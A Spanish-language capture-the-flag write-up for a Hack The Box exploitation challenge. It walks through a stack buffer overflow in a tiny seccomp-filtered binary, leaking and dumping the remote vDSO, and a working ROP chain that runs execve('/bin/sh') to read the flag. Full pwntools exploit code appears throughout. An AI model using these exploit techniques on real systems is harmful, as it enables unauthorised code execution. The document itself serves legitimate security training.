Nowhere to go
15 minutos de lectura
Se nos proporciona un sistema de archivos comprimido, una imagen de kernel y un script de qemu
:
# file *
bzImage: Linux kernel x86 boot executable bzImage, version 5.9.16 (buildroot@a7f111e5c8c1) #1 SMP Thu Apr 22 11:04:47 UTC 2021, RO-rootFS, swap_dev 0X8, Normal VGA
rootfs.cpio.gz: gzip compressed data, max compression, from Unix, original size modulo 2^32 5115392
run.sh: Bourne-Again shell script, ASCII text executable
#!/bin/bash
qemu-system-x86_64 \
-m 128M \
-cpu qemu64 \
-nographic \
-monitor /dev/null \
-kernel ./bzImage \
-initrd ./rootfs.cpio.gz \
-append 'noapic console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-net user,hostfwd=tcp::5555-:5555 \
-net nic
Además, se nos dice que la imagen de kernel en remoto es diferente de la proporcionada (lo que no tiene sentido de momento).
Al iniciar qemu
, se abre un servidor en el puerto 5555:
# ./run.sh
SeaBIOS (version 1.15.0-1)
iPXE (https://ipxe.org) 00:03.0 CA00 PCI2.10 PnP PMM+07F8B340+07ECB340 CA00
Booting from ROM..
Saving random seed: OK
Starting network: OK
Nothing to see here - check host port 5555
Y hay un programa que se ejecuta en dicho puerto:
# nc 127.0.0.1 5555
Welcome!
asdf
asdf
@ @lYrvYr}YrYrYrYrYrYrYr
Ingeniería inversa
En primer lugar, podemos descomprimir el sistema de archivos:
# mkdir rootfs
# gunzip -k rootfs.cpio.gz
# cd rootfs
# cpio -idm < ../rootfs.cpio
9991 blocks
# ls
bin challenge dev etc flag.txt home init lib lib64 linuxrc media mnt opt proc root run sbin sys tmp usr var
El programa que se ejecuta en el puerto 5555 corresponde al binario challenge
:
# file challenge
challenge: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
# checksec challenge
[*] './challenge'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Desensamblado
Este binario es bastante corto, por lo que simplemente podemos ver el desensamblado:
# objdump -M intel -d challenge
challenge: file format elf64-x86-64
Disassembly of section .text:
0000000000401000 <read>:
401000: 48 8b 74 24 10 mov rsi,QWORD PTR [rsp+0x10]
401005: 48 8b 54 24 08 mov rdx,QWORD PTR [rsp+0x8]
40100a: 48 c7 c7 00 00 00 00 mov rdi,0x0
401011: 48 c7 c0 00 00 00 00 mov rax,0x0
401018: 0f 05 syscall
40101a: c3 ret
000000000040101b <write>:
40101b: 48 8b 74 24 10 mov rsi,QWORD PTR [rsp+0x10]
401020: 48 8b 54 24 08 mov rdx,QWORD PTR [rsp+0x8]
401025: 48 c7 c7 01 00 00 00 mov rdi,0x1
40102c: 48 c7 c0 01 00 00 00 mov rax,0x1
401033: 0f 05 syscall
401035: c3 ret
0000000000401036 <readwrite>:
401036: 48 83 ec 20 sub rsp,0x20
40103a: 48 89 e3 mov rbx,rsp
40103d: 53 push rbx
40103e: 68 80 00 00 00 push 0x80
401043: e8 b8 ff ff ff call 401000 <read>
401048: 48 83 c4 08 add rsp,0x8
40104c: 5b pop rbx
40104d: 53 push rbx
40104e: 68 80 00 00 00 push 0x80
401053: e8 c3 ff ff ff call 40101b <write>
401058: 48 83 c4 30 add rsp,0x30
40105c: c3 ret
000000000040105d <_start>:
40105d: 48 c7 c7 26 00 00 00 mov rdi,0x26
401064: 48 c7 c6 01 00 00 00 mov rsi,0x1
40106b: b8 9d 00 00 00 mov eax,0x9d
401070: 0f 05 syscall
401072: 48 c7 c7 16 00 00 00 mov rdi,0x16
401079: 48 8d 15 80 0f 00 00 lea rdx,[rip+0xf80] # 402000 <_secfilter>
401080: 52 push rdx
401081: 6a 08 push 0x8
401083: 48 89 e2 mov rdx,rsp
401086: 48 c7 c6 02 00 00 00 mov rsi,0x2
40108d: b8 9d 00 00 00 mov eax,0x9d
401092: 0f 05 syscall
401094: 48 83 c4 10 add rsp,0x10
401098: 48 8d 05 a1 0f 00 00 lea rax,[rip+0xfa1] # 402040 <_greeting>
40109f: 50 push rax
4010a0: 6a 09 push 0x9
4010a2: e8 74 ff ff ff call 40101b <write>
4010a7: 48 83 c4 10 add rsp,0x10
00000000004010ab <loop_start>:
4010ab: e8 86 ff ff ff call 401036 <readwrite>
4010b0: eb f9 jmp 4010ab <loop_start>
Reglas seccomp
La función _start
comienza usando sys_prctl
($rax = 0x9d
) para configurar reglas seccomp
:
000000000040105d <_start>:
40105d: 48 c7 c7 26 00 00 00 mov rdi,0x26
401064: 48 c7 c6 01 00 00 00 mov rsi,0x1
40106b: b8 9d 00 00 00 mov eax,0x9d
401070: 0f 05 syscall
401072: 48 c7 c7 16 00 00 00 mov rdi,0x16
401079: 48 8d 15 80 0f 00 00 lea rdx,[rip+0xf80] # 402000 <_secfilter>
401080: 52 push rdx
401081: 6a 08 push 0x8
401083: 48 89 e2 mov rdx,rsp
401086: 48 c7 c6 02 00 00 00 mov rsi,0x2
40108d: b8 9d 00 00 00 mov eax,0x9d
401092: 0f 05 syscall
Podemos observarlas con seccomp-tools
:
# seccomp-tools dump ./challenge
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x03 0x00 0x40000000 if (A >= 0x40000000) goto 0007
0004: 0x15 0x02 0x00 0x0000000f if (A == rt_sigreturn) goto 0007
0005: 0x15 0x01 0x00 0x0000009d if (A == prctl) goto 0007
0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0007: 0x06 0x00 0x00 0x00000000 return KILL
Esto solo nos bloquea el uso de sys_rt_sigreturn
y sys_prctl
. Esto no es problema porque podemos ejecutar sys_execve
para lograr ejecución de código arbitrario, o incluso sys_open
, sys_read
, sys_write
para obtener la flag.
Vulnerabilidad de Buffer Overflow
Después de configurar las reglas seccomp
, el programa imprime un mensaje de bienvenida usando sys_write
y llama a loop_start
, que es una función que llama a readwrite
de manera indefinida:
401094: 48 83 c4 10 add rsp,0x10
401098: 48 8d 05 a1 0f 00 00 lea rax,[rip+0xfa1] # 402040 <_greeting>
40109f: 50 push rax
4010a0: 6a 09 push 0x9
4010a2: e8 74 ff ff ff call 40101b <write>
4010a7: 48 83 c4 10 add rsp,0x10
00000000004010ab <loop_start>:
4010ab: e8 86 ff ff ff call 401036 <readwrite>
4010b0: eb f9 jmp 4010ab <loop_start>
readwrite
es una función que llama a read
y a write
:
0000000000401000 <read>:
401000: 48 8b 74 24 10 mov rsi,QWORD PTR [rsp+0x10]
401005: 48 8b 54 24 08 mov rdx,QWORD PTR [rsp+0x8]
40100a: 48 c7 c7 00 00 00 00 mov rdi,0x0
401011: 48 c7 c0 00 00 00 00 mov rax,0x0
401018: 0f 05 syscall
40101a: c3 ret
000000000040101b <write>:
40101b: 48 8b 74 24 10 mov rsi,QWORD PTR [rsp+0x10]
401020: 48 8b 54 24 08 mov rdx,QWORD PTR [rsp+0x8]
401025: 48 c7 c7 01 00 00 00 mov rdi,0x1
40102c: 48 c7 c0 01 00 00 00 mov rax,0x1
401033: 0f 05 syscall
401035: c3 ret
0000000000401036 <readwrite>:
401036: 48 83 ec 20 sub rsp,0x20
40103a: 48 89 e3 mov rbx,rsp
40103d: 53 push rbx
40103e: 68 80 00 00 00 push 0x80
401043: e8 b8 ff ff ff call 401000 <read>
401048: 48 83 c4 08 add rsp,0x8
40104c: 5b pop rbx
40104d: 53 push rbx
40104e: 68 80 00 00 00 push 0x80
401053: e8 c3 ff ff ff call 40101b <write>
401058: 48 83 c4 30 add rsp,0x30
40105c: c3 ret
Sin embargo, hay una vulnerabilidad de Buffer Overflow, porque readwrite
reserva 0x20
bytes en la pila (stack), pero llama a read
con un tamaño de $rdx = 0x80
. Además, write
también se llama con $rdx = 0x80
, lo que significa que obtendremos muchos valores de la pila, incluso fugas de memoria.
Estrategia de explotación
Las vulnerabilidades son claras. Sin embargo, la explotación es difícil porque el binario es muy pequeño. Dado que NX está habilitado, estamos obligados a usar ROP para explotar la vulnerabilidad de Buffer Overflow. Pero hay muy pocos gadgets:
# ROPgadget --binary challenge
Gadgets information
============================================================
0x0000000000401089 : add al, byte ptr [rax] ; add byte ptr [rax], al ; mov eax, 0x9d ; syscall
0x0000000000401052 : add al, ch ; ret
0x000000000040106a : add byte ptr [rax + 0x9d], bh ; syscall
0x0000000000401010 : add byte ptr [rax - 0x39], cl ; rol byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x000000000040102b : add byte ptr [rax - 0x39], cl ; rol byte ptr [rcx], 0 ; add byte ptr [rax], al ; syscall
0x000000000040104f : add byte ptr [rax], 0 ; add al, ch ; ret
0x0000000000401050 : add byte ptr [rax], al ; add al, ch ; ret
0x0000000000401068 : add byte ptr [rax], al ; add byte ptr [rax + 0x9d], bh ; syscall
0x0000000000401014 : add byte ptr [rax], al ; add byte ptr [rax], al ; syscall
0x0000000000401069 : add byte ptr [rax], al ; mov eax, 0x9d ; syscall
0x000000000040100f : add byte ptr [rax], al ; mov rax, 0 ; syscall
0x000000000040102a : add byte ptr [rax], al ; mov rax, 1 ; syscall
0x0000000000401016 : add byte ptr [rax], al ; syscall
0x0000000000401067 : add dword ptr [rax], eax ; add byte ptr [rax], al ; mov eax, 0x9d ; syscall
0x000000000040102f : add dword ptr [rax], eax ; add byte ptr [rax], al ; syscall
0x0000000000401059 : add esp, 0x30 ; ret
0x0000000000401058 : add rsp, 0x30 ; ret
0x00000000004010b0 : jmp 0x4010ab
0x0000000000401012 : mov eax, 0 ; syscall
0x000000000040106b : mov eax, 0x9d ; syscall
0x000000000040102d : mov eax, 1 ; syscall
0x0000000000401011 : mov rax, 0 ; syscall
0x000000000040102c : mov rax, 1 ; syscall
0x000000000040101a : ret
0x0000000000401013 : rol byte ptr [rax], 0 ; add byte ptr [rax], al ; syscall
0x000000000040102e : rol byte ptr [rcx], 0 ; add byte ptr [rax], al ; syscall
0x0000000000401018 : syscall
Unique gadgets found: 27
Solo podemos controlar $rax
, con muchas limitaciones, y no se nos permite usar sys_rt_sigreturn
para restaurar todos los registros (como en SROP). Entonces, debemos encontrar otro enfoque.
Si cargamos el binario en GDB, veremos el siguiente mapa de memoria:
gef> vmmap
[ Legend: Code | Heap | Stack | Writable | ReadOnly | None | RWX ]
Start End Size Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000001000 0x0000000000000000 r-- ./challenge
0x0000000000401000 0x0000000000402000 0x0000000000001000 0x0000000000001000 r-x ./challenge <- $rcx, $rip
0x0000000000402000 0x0000000000403000 0x0000000000001000 0x0000000000002000 r-- ./challenge
0x00007ffff7ff9000 0x00007ffff7ffd000 0x0000000000004000 0x0000000000000000 r-- [vvar]
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000002000 0x0000000000000000 r-x [vdso]
0x00007ffffffde000 0x00007ffffffff000 0x0000000000021000 0x0000000000000000 rw- [stack] <- $rbx, $rsp, $rsi
0xffffffffff600000 0xffffffffff601000 0x0000000000001000 0x0000000000000000 --x [vsyscall]
Región vDSO
obsérvese que, aparte del binario, hay una región llamada vDSO que es ejecutable. Esta región permite que el programa cambie a modo kernel. Contiene instrucciones, como cualquier otro binario:
gef> vdso -n
0x7ffff7ffd6e0 83ff01 <NO_SYMBOL> cmp edi, 1
0x7ffff7ffd6e3 750e <NO_SYMBOL> jne 0x7ffff7ffd6f3
0x7ffff7ffd6e5 0f01f9 <NO_SYMBOL> rdtscp
0x7ffff7ffd6e8 6690 <NO_SYMBOL> nop
0x7ffff7ffd6ea 48c1e220 <NO_SYMBOL> shl rdx, 0x20
0x7ffff7ffd6ee 4809d0 <NO_SYMBOL> or rax, rdx
0x7ffff7ffd6f1 c3 <NO_SYMBOL> ret
0x7ffff7ffd6f2 cc <NO_SYMBOL> int3
0x7ffff7ffd6f3 83ff02 <NO_SYMBOL> cmp edi, 2
0x7ffff7ffd6f6 7448 <NO_SYMBOL> je 0x7ffff7ffd740
0x7ffff7ffd6f8 83ff03 <NO_SYMBOL> cmp edi, 3
0x7ffff7ffd6fb 7409 <NO_SYMBOL> je 0x7ffff7ffd706
0x7ffff7ffd6fd 48c7c0ffffffff <NO_SYMBOL> mov rax, 0xffffffffffffffff
0x7ffff7ffd704 c3 <NO_SYMBOL> ret
...
La dirección base de la región vDSO se encuentra en la pila:
gef> find 0x00007ffff7ffd000
[+] Searching '\x00\xd0\xff\xf7\xff\x7f\x00\x00' in whole memory
[+] In '[stack]' (0x7ffffffde000-0x7ffffffff000 [rw-])
0x7fffffffe9b0: 00 d0 ff f7 ff 7f 00 00 33 00 00 00 00 00 00 00 | ........3....... |
La idea aquí es volcar la región vDSO y buscar más gadgets ROP para explotar el binario.
Ahora, tiene sentido por qué el kernel remoto es diferente al proporcionado. Se nos da una imagen de kernel solo para encontrar una manera de volcar la región vDSO utilizando el programa vulnerable. Luego, necesitaremos encontrar gadgets ROP en la región vDSO remota y finalmente explotar la instancia remota.
Desarrollo del exploit
Como se puede ver, el programa filtra direcciones de la pila:
# ./challenge | xxd
asdf
00000000: 5765 6c63 6f6d 6521 0a61 7364 660a 0000 Welcome!.asdf...
00000010: 0000 0000 0000 0000 00a7 1040 0000 0000 ...........@....
00000020: 0009 0000 0000 0000 00b0 1040 0000 0000 ...........@....
00000030: 0001 0000 0000 0000 0072 1be7 7bfe 7f00 .........r..{...
00000040: 0000 0000 0000 0000 007e 1be7 7bfe 7f00 .........~..{...
00000050: 0089 1be7 7bfe 7f00 009b 1be7 7bfe 7f00 ....{.......{...
00000060: 00b6 1be7 7bfe 7f00 00e9 1be7 7bfe 7f00 ....{.......{...
00000070: 00f4 1be7 7bfe 7f00 001e 1ce7 7bfe 7f00 ....{.......{...
Podemos comenzar a escribir el exploit para tomar alguna dirección de pila:
context.binary = 'challenge'
io = get_process()
io.sendafter(b'Welcome!\n', b'A' * 0x20)
stack_addr = (u64(io.recv()[0x30:0x38]) & ~0xfff) + 0x1000
io.info(f'Stack address: {hex(stack_addr)}')
io.interactive()
Con esto, tenemos una dirección de pila:
# python3 dump.py
[*] './challenge'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './challenge': pid 1195521
[*] Stack address: 0x7ffd71a35000
[*] Switching to interactive mode
$
Ahora, podemos explotar la vulnerabilidad del Buffer Overflow para llamar a write
con un tamaño grande en $rdx
. Nótese que los valores de $rsi
y $rdx
se toman de la pila:
000000000040101b <write>:
40101b: 48 8b 74 24 10 mov rsi,QWORD PTR [rsp+0x10]
401020: 48 8b 54 24 08 mov rdx,QWORD PTR [rsp+0x8]
401025: 48 c7 c7 01 00 00 00 mov rdi,0x1
40102c: 48 c7 c0 01 00 00 00 mov rax,0x1
401033: 0f 05 syscall
401035: c3 ret
Volcando vDSO
Como resultado, podemos tomar la dirección de pila anterior y comenzar a volcar la memoria a partir de ahí. Una vez que tenemos suficientes datos de la pila, podemos comenzar a buscar el puntero que se parece a la dirección base de vDSO (algo así como 0x7ff......000
). El siguiente código realiza el proceso anterior:
def find_vdso(haystack):
for i in range(0, len(haystack), 8):
addr = u64(haystack[i : i + 8].ljust(8, b'\0'))
if addr >> 36 == stack_addr >> 36 == 0x7ff and addr & 0xfff == 0 and addr > stack_addr:
return addr
stack = b''
offset = 0
while not (vdso_addr := find_vdso(stack)):
payload = b'A' * 0x20 + p64(context.binary.sym.write)
payload += p64(0x401094) + p64(0x1800) + p64(stack_addr - offset)
io.send(payload)
offset += 0x1800
stack += io.recvuntil(b'Welcome!\n', drop=True)
io.success(f'vDSO address: {hex(vdso_addr)}')
Nótese que 0x401094
es una dirección dentro del _start
función, justo después de configurar las reglas seccomp
.
Como resultado, obtenemos la dirección base de la región vDSO:
# python3 dump.py
[*] './challenge'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './challenge': pid 1198598
[*] Stack address: 0x7fff529be000
[+] vDSO address: 0x7fff529ca000
[*] Switching to interactive mode
$
En este punto, simplemente usamos el mismo método para volcar la región VDSO (que tiene un tamaño de 0x2000
bytes) y la guardamos en un archivo:
payload = b'A' * 0x20 + p64(context.binary.sym.write)
payload += p64(0x401094) + p64(0x2000) + p64(vdso_addr)
io.send(payload)
io.recvn(0x80)
with open('vdso', 'wb') as f:
f.write(io.recvuntil(b'Welcome!\n', drop=True))
Con esto, hemos volcado con éxito la región vDSO:
# python3 dump.py
[*] './challenge'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './challenge': pid 1200970
[*] Stack address: 0x7ffc41f80000
[+] vDSO address: 0x7ffc41fb4000
[*] Stopped process './challenge' (pid 1200970)
# file vdso
vdso: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=8ec5722947270e86e99b1821ecca259093c925b8, stripped
# xxd vdso | head
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0300 3e00 0100 0000 0000 0000 0000 0000 ..>.............
00000020: 4000 0000 0000 0000 980e 0000 0000 0000 @...............
00000030: 0000 0000 4000 3800 0400 4000 1000 0f00 ....@.8...@.....
00000040: 0100 0000 0500 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: cd0d 0000 0000 0000 cd0d 0000 0000 0000 ................
00000070: 0010 0000 0000 0000 0200 0000 0400 0000 ................
00000080: e003 0000 0000 0000 e003 0000 0000 0000 ................
00000090: e003 0000 0000 0000 2001 0000 0000 0000 ........ .......
Ahora, tenenosmque volcar el archivo vDSO en remoto:
# python3 dump.py 94.237.62.195:51865
[*] './challenge'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 94.237.62.195 on port 51865: Done
[*] Stack address: 0x7ffeefcfe000
[+] vDSO address: 0x7ffeefd50000
[*] Closed connection to 94.237.62.195 port 51865
Cadena ROP
Muy bien, ahora podemos mirar los gadgets ROP dentro de la región vDSO remota:
# ROPgadget --binary vdso --nojop | grep ': pop'
0x0000000000000a37 : pop r12 ; pop r13 ; pop rbp ; ret
0x00000000000007df : pop r12 ; pop rbp ; ret
0x0000000000000a39 : pop r13 ; pop rbp ; ret
0x0000000000000ba1 : pop rax ; ret
0x00000000000007cb : pop rbp ; mov qword ptr [r9], rax ; xor eax, eax ; ret
0x0000000000000a3a : pop rbp ; pop rbp ; ret
0x00000000000007e1 : pop rbp ; ret
0x00000000000007d9 : pop rbx ; mov eax, 0xffffffff ; pop r12 ; pop rbp ; ret
0x00000000000008c6 : pop rbx ; pop r12 ; pop rbp ; ret
0x0000000000000ba0 : pop rdx ; pop rax ; ret
0x0000000000000a38 : pop rsp ; pop r13 ; pop rbp ; ret
0x00000000000007e0 : pop rsp ; pop rbp ; ret
Podemos controlar fácilmente $rax
, que se necesita para realizar cualquier instrucción syscall
. Además, podemos controlar $rdx
, $rbx
, $r12
y $r13
.
Hay otros gadgets para establecer $rdi
y $rsi
:
# ROPgadget --binary vdso --nojop | grep ': mov rdi'
0x00000000000008e3 : mov rdi, rbx ; mov rsi, r12 ; syscall
Con estos gadgets, podemos ejecutar sys_execve
. Necesitamos:
$rax = 0x3b
(sys_execve
)$rdi
con un puntero a la string"/bin/sh"
(se puede cargar en el stack)$rsi = 0
$rdx = 0
En primer lugar, ya que necesitamos "/bin/sh"
cargado en algún sitio, usaremos la vulnerabilidad de Buffer Overflow para llamar a read
y almacenar la string en un offset arbitrario de la pila:
bin_sh_addr = stack_addr - 0x2000
payload = b'A' * 0x20 + p64(context.binary.sym.read)
payload += p64(0x401094) + p64(0x8) + p64(bin_sh_addr)
io.send(payload)
io.recv()
io.send(b'/bin/sh\0')
io.recvuntil(b'Welcome!\n')
Ahora definiremos la siguiente cadena ROP. Nótese que $rbx
será movido a $rsi
y $r12
a $rdi
:
pop_rdx_pop_rax_ret = vdso_addr + 0xba0
pop_rbx_pop_r12_pop_rbp_ret = vdso_addr + 0x8c6
mov_rdi_rbx_mov_rsi_r12_syscall = vdso_addr + 0x8e3
payload = b'A' * 0x20
payload += p64(pop_rdx_pop_rax_ret)
payload += p64(0)
payload += p64(0x3b)
payload += p64(pop_rbx_pop_r12_pop_rbp_ret)
payload += p64(bin_sh_addr)
payload += p64(0)
payload += p64(0)
payload += p64(mov_rdi_rbx_mov_rsi_r12_syscall)
io.send(payload)
io.recv()
io.interactive()
Con esto, tenemos una shell:
# python3 solve.py 94.237.62.195:51865
[*] './challenge'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 94.237.62.195 on port 51865: Done
[*] Stack address: 0x7fff130e7000
[+] vDSO address: 0x7fff131c0000
[*] Switching to interactive mode
$ ls
b27c2d79500a865cf20824a398a05ff1f0a58a36a4da0f3ab906d0e9b65b7593.txt
bin
challenge
dev
etc
home
init
lib
lib64
linuxrc
media
mnt
opt
proc
root
run
sbin
sys
tmp
usr
var
[*] Got EOF while reading in interactive
$
Por alguna razón, el servidor se bloquea una vez que ejecutamos un comando, pero no es un problema.
Flag
Esta es la flag:
# python3 solve.py 94.237.62.195:51865
[*] './challenge'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 94.237.62.195 on port 51865: Done
[*] Stack address: 0x7ffed779c000
[+] vDSO address: 0x7ffed77d3000
[*] Switching to interactive mode
$ cat *.txt
HTB{th4re_is_a1ways_a_vDS0_2_go_2!!}
[*] Got EOF while reading in interactive
$
El código del exploit completo es solve.py
, y el otro script es dump.py